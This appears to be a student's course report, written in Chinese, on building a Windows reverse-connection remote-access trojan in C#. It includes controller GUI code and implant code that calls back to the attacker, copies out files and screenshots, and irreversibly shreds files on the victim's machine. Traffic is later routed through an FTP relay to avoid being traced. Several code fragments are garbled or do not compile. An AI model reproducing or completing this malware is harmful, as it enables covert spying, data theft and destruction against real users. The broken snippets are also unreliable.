2018-2019-2 20165314『网络对抗技术』Final:反弹木马的剖析与防御
2018-2019-2 20165314『网络对抗技术』Final:反弹木马的剖析与防御
实践规划
通过自学,掌握木马的攻击原理,初步实现一个反弹木马,主要分为服务器端(靶机)、客户端(攻击者)和一个代理服务器端,其中客户端包括控制程序和配置程序两部分,代理服务器端提供转发数据功能以防止反跟踪。
我要开始赶鸭子上架了
初步规划做一个针对windows的远程控制型第六代木马,利用网页脚本植入,不采用C/S结构的直接通信方式,而是通过一个代理服务器传输数据。如果最后结果跟这个有出入就当我没说过这句。
实践原理
反弹端口型木马系统基于TCP/IP协议体系建立通信,通过对在线FTP服务器文件读写获取连接信息,实现反弹端口连接功能。客户端采用界面化管理方式,实现对服务端的CMD命令控制。
隐蔽性是木马程序的重要特性,与病毒相比,一般的木马程序并不具备破坏性,它寄生在用户计算机系统中,通过获取当前用户的操作权限,进行比如添加删除程序,修改注册表,窃取用户机密信息等恶意工作。
就近年来的木马进行分析,木马的功能大致如下:
(l)自动搜索已感染木马的计算机;
(2)对文件系统进行控制,如查看、拷贝、传输、删除文件等;
(3)实现程序的远程打开;
(4)实时监控屏幕信息;
(5)对计算机输入输出控制权接管;
(7)记录、监视按键顺序、系统信息等一切操作;
(8)随意修改注册表;
(9)恶意安装程序,修改计算机环境等。[1]
本次实践预计对以上功能中的(1)、(2)、(3)功能进行实现
实践内容
本次实践基于windows下的vs2017,程序由C#进行编写,并对完成程序进行一些非代码层次操作以实现社会工程学攻击目的。
主控端设计
1、界面设计
1.1启动监听按钮
点击后对本机指定端口开启监听,并在成功建立与目标机连接后提示
1.2目标地址
建立连接后显示目标机器的ip地址,这个文本框内的数据是只读类型的
1.3指令栏
建立连接后在指令栏中选择要进行的操作,如果连接未建立、未选择指令或选择了有操作对象的指令类型但没选择对象时提示
1.4文件目录
建立连接后显示目标机器的文件目录,选择某个目录展开该目录下的子目录结构
1.5文件列表
在1.4中选择目录后在1.5中显示该目录下的文件,显示内容包括文件名、创建日期、文件大小
1.6存储路径选择
用于修改获取文件类功能所获取文件存储路径,若路径不存在则提示
2、功能实现
2.1监听
编辑点击按钮事件,点击后实例化一个tcp监听类,并开启监听,监听到连接请求则将一个定义的标志符置为真,并获取请求端ip地址
核心代码:
TcpListener listen = new TcpListener(5314);
string ReomteIP;
listen.Start();
TcpClient client = listen.AcceptTcpClient();
client = listen.AcceptTcpClient();
bool IsConnect = client.Connected;
if(IsConnerct)
{
ReomteIP = client.RemoteEndPoint.ToString();
}
2.2显示目标地址
连接成功后,获取链接的RemoteEndPoint属性转换为string类型输出即可
TargetAddr.Text = StartListening.RemoteIP;
2.3指令栏
在确认指令按钮的事件中对选择指令的规则进行约束,若不符合规则则弹出消息框,不执行指令;对符合规则的指令,采用“指令码”+“带路径的文件名”形式写入数据流发送给受控端
核心代码:
switch (CommandCode)
{
case 1:
if(this.FileList.SelectedItems.Count == 0)
{
MessageBox.Show("请选择要获取的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
return;
}
else Execution(CommandCode);
return;
case 4:
if(this.FileList.SelectedItems.Count == 0)
{
MessageBox.Show("请选择要粉碎的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
return;
}
else Execution(CommandCode);
return;
case 5:
MessageBox.Show("请选择要执行的指令","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
return;
default:
Execution(CommandCode);
return;
}
……
2.4目录栏
2.4.1初始化
遍历计算机中所有逻辑驱动器名称(盘符),实例化DriveInfo对象用于记录硬盘节点信息,在目录栏中添加各个硬盘对应节点
核心代码:
foreach (string drive in Environment.GetLogicalDrives())
{
//实例化DriveInfo对象
var dir = new DriveInfo(drive);
switch (dir.DriveType) //判断驱动器类型
{
case DriveType.Fixed: //仅取固定磁盘盘符 Removable-U盘
{
//Split仅获取盘符字母
TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
tNode.Name = dir.Name;
tNode.Tag = tNode.Name;
tNode.ImageIndex = IconIndexes.FixedDrive; //设置获取结点显示图片
tNode.SelectedImageIndex = IconIndexes.FixedDrive;//设置选择显示图片
DirectoryTree.Nodes.Add(tNode); //加载驱动节点
tNode.Nodes.Add("");
}
break;
case DriveType.Removable:
{
TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
tNode.Name = dir.Name;
tNode.Tag = tNode.Name;
tNode.ImageIndex = IconIndexes.FixedDrive;
tNode.SelectedImageIndex = IconIndexes.FixedDrive;
DirectoryTree.Nodes.Add(tNode);
tNode.Nodes.Add("");
}
break;
}
rootNode.Expand(); //展开树状视图
2.4.1展开子目录
自定义TreeViewItems类的方法用于加载子目录,在点击父目录后获取该目录下一级所有文件夹,添加子节点后展开
核心代码:
string[] dics = Directory.GetDirectories(path);
foreach (string dic in dics)
{
TreeNode subNode = new TreeNode(new DirectoryInfo(dic).Name); //实例化
subNode.Name = new DirectoryInfo(dic).FullName; //完整目录
subNode.Tag = subNode.Name;
subNode.ImageIndex = IconIndexes.ClosedFolder; //设置获取节点显示图片
subNode.SelectedImageIndex = IconIndexes.OpenFolder; //设置选择节点显示图片
tNode.Nodes.Add(subNode);
subNode.Nodes.Add(""); //加载空节点 实现+号
}
2.5文件列表
将目录栏中选中的目录作为路径,获取该目录下一级所有文件夹,获取属性后添加节点
核心代码:
//数据更新 UI暂时挂起直到EndUpdate绘制控件,可以有效避免闪烁并大大提高加载速度
FileList.BeginUpdate();
DirectoryInfo dir = new DirectoryInfo(path);
FilePathPublic = path; //获取当前目录文件列表
FileInfo[] fileInfo = dir.GetFiles();
for (int i = 0; i < fileInfo.Length; i++)
{
ListViewItem listItem = new ListViewItem();
listItem.Text = "[" + (i + 1) + "] "; //序列
listItem.ForeColor = Color.Blue; //设置行颜色
listItem.SubItems.Add(fileInfo[i].Name); //显示文件名
length = fileInfo[i].Length; //获取当前文件大小字节
istItem.SubItems.Add(Math.Ceiling(decimal.Divide(length, 1024)) + " KB");
listItem.SubItems.Add(fileInfo[i].Extension + "文件"); //加载数据至FileList
this.FileList.Items.Add(listItem);
}
//结束数据处理,UI界面一次性绘制 否则可能出现闪动情况
FileList.EndUpdate();
2.6存储路径修改
对输入的存储路径进行判断,若路径不存在则提示
if (!Directory.Exists(StoreAddr.Text))
{
MessageBox.Show("请选择有效的地址","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
return;
}
受控端设计
受控端出于隐蔽性需求,不需要设计特意GUI,采用默认的form窗体就行,这里着重介绍受控端实现的功能
1、功能介绍
1.1回连
受控端启动后,定期向主控端发起连接请求,连接成功后等待主控端传来的指令。
1.2获取文件
收到主控端发来的指令后执行,将指定的文件传回主控端
1.3获取截屏
收到主控端发来的指令后执行,截取当前屏幕并保存,将截屏的文件传回主控端,并删除本地文件
1.4留言
(该功能的想法来着于小时候家里电脑遭受的一次攻击,那个比攻击者在我家的电脑屏幕上留了一段消息,然后电脑无法正常启动,导致了接下来一段时间我无电脑可玩)
收到主控端发来的指令后执行,接收主控端发来的word文档,文档内容可在主控端自行编辑
1.5粉碎文件
收到主控端发来的指令后执行,粉碎指定文件(非删除,不可找回)
2、功能实现
2.1回连
程序启动后实例化一个Tcpclient类进行连接请求,成功后获得一个绑定该连接的流,并开启一个缓冲流用于读取流文件
TcpClient tc = new TcpClient("192.xxx.xxx.xxx", 5314);
NetworkStream ns = tc.GetStream();
BufferedStream sr = new BufferedStream(ns);
StreamReader sread = new StreamReader(ns);
2.2文件获取
读取主控端传来的文件流中的文件地址,将该文件复制到另一个流中传回主控端
string[] cmd = new string[2];
StreamReader rc = new StreamReader(sread);
while (rc.Peek() != -1)
{
cmd = rc.ReadLine().Split(' ');
cmd[1] = cmd[1].Replace("\0", "");
}
……
if(!Directory.Exists(cmd[1]))
{
StreamWriter sw = new StreamReader(ns);
FileStream fs = new FileStream(cmd[1], FileMode.Open);
contentLen = fs.Read(buff, 0, buffLength);
while (contentLen != 0)
{
sw.Write(buff, 0, contentLen);
contentLen = fs.Read(buff, 0, buffLength);
}
fs.Close();
}
2.3获取截屏
实例化一个矩形类对整个屏幕进行截取,保存到当前文件夹后上传,最后粉碎该文件
Rectangle tScreenRect = new Rectangle(0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Bitmap tSrcBmp = new Bitmap(tScreenRect.Width, tScreenRect.Height); // 用于屏幕原始图片保存
Graphics gp = Graphics.FromImage(tSrcBmp);
gp.CopyFromScreen(0, 0, 0, 0, tScreenRect.Size);
gp.DrawImage(tSrcBmp, 0, 0, tScreenRect, GraphicsUnit.Pixel);
tSrcBmp.Save(Directory.GetCurrentDirectory() + "\\" + FileName);
UpLoad(Directory.GetCurrentDirectory() + "\\" + FileName);
Crash(Directory.GetCurrentDirectory() + "\\" + FileName);
2.3留言
获取接收到的文件流中以字符串形式保存的留言内容,在程序运行目录下新建一个wrod文档并写入
string path = Directory.GetCurrentDirectory() +"\\Example.doc";
FileStream fs = new FileStream(path, FileMode.Append);
StreamWriter sw = new StreamWriter(fs);
sw.WriteLine(cmd[1]);
sw.Flush();
sw.Close();
2.4粉碎文件
使用加密服务提供程序CSP实现加密随机数生成器,将生成的随机数填充入目的文件中,以达到不可复原的效果
byte[] dummyBuffer = new byte[512];
RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); //使用加密服务提供程序CSP实现加密随机数生成器
FileStream inputStream = new FileStream(Filepath, FileMode.Open);
inputStream.Position = 0;
for (int sectorsWritten = 0; sectorsWritten < sectors; sectorsWritten++)
{
rng.GetBytes(dummyBuffer);//加密随机值填充数组
inputStream.Write(dummyBuffer, 0, dummyBuffer.Length);
sectorsWritten++;
}
inputStream.SetLength(0);
inputStream.Close();
3、运行流程
4、遇到的问题
连接建立成功之后,传输一次后连接直接关闭,无法再次使用,这是因为在C#中实例化的tcpclient类默认采用的是用于单次传输的短连接(short connection),经过自学最终还是没学会如何建立一次传输后不会关闭的长连接( persistent connection),尝试在新端口建立回传连接也不成功,经过老师的指导我决定改变通信的方式,通过建立一个ftp服务器来存储主控端的指令和受控端获取的文件
5、搭建FTP服务器
参考百度经验,在第四步出现无法开启windows服务的情况,查找对应错误码发现是我的系统太久没更新的原因,(what?这个从另一门课大作业就开始困扰我的问题居然只是我**的系统没升级?)花了一个下午更新系统后搭建了一个简易的ftp服务器
(确实很简易哦)
6、修改代码
主要是将主控端和受控端之间的tcp连接改为向ftp服务器的连接请求
例如:
string FileName = '/' + LocalPath.Split('\\')[LocalPath.Split('\\').Length - 1];
string FTPPath = FTPAddress + FileName;
FtpWebRequest reqFtp = (FtpWebRequest)FtpWebRequest.Create(new Uri(FTPPath));
reqFtp.UseBinary = true;
reqFtp.Credentials = new NetworkCredential(FTPUsername, FTPPwd); //设置通信凭据
reqFtp.KeepAlive = false; //请求完成后关闭ftp连接
参考文献:
[1] 木马攻击与隐蔽技术研究
[2] 线程注入式无进程木马的实现原理
[3] 木马技术研究及反弹木马系统的设计与实现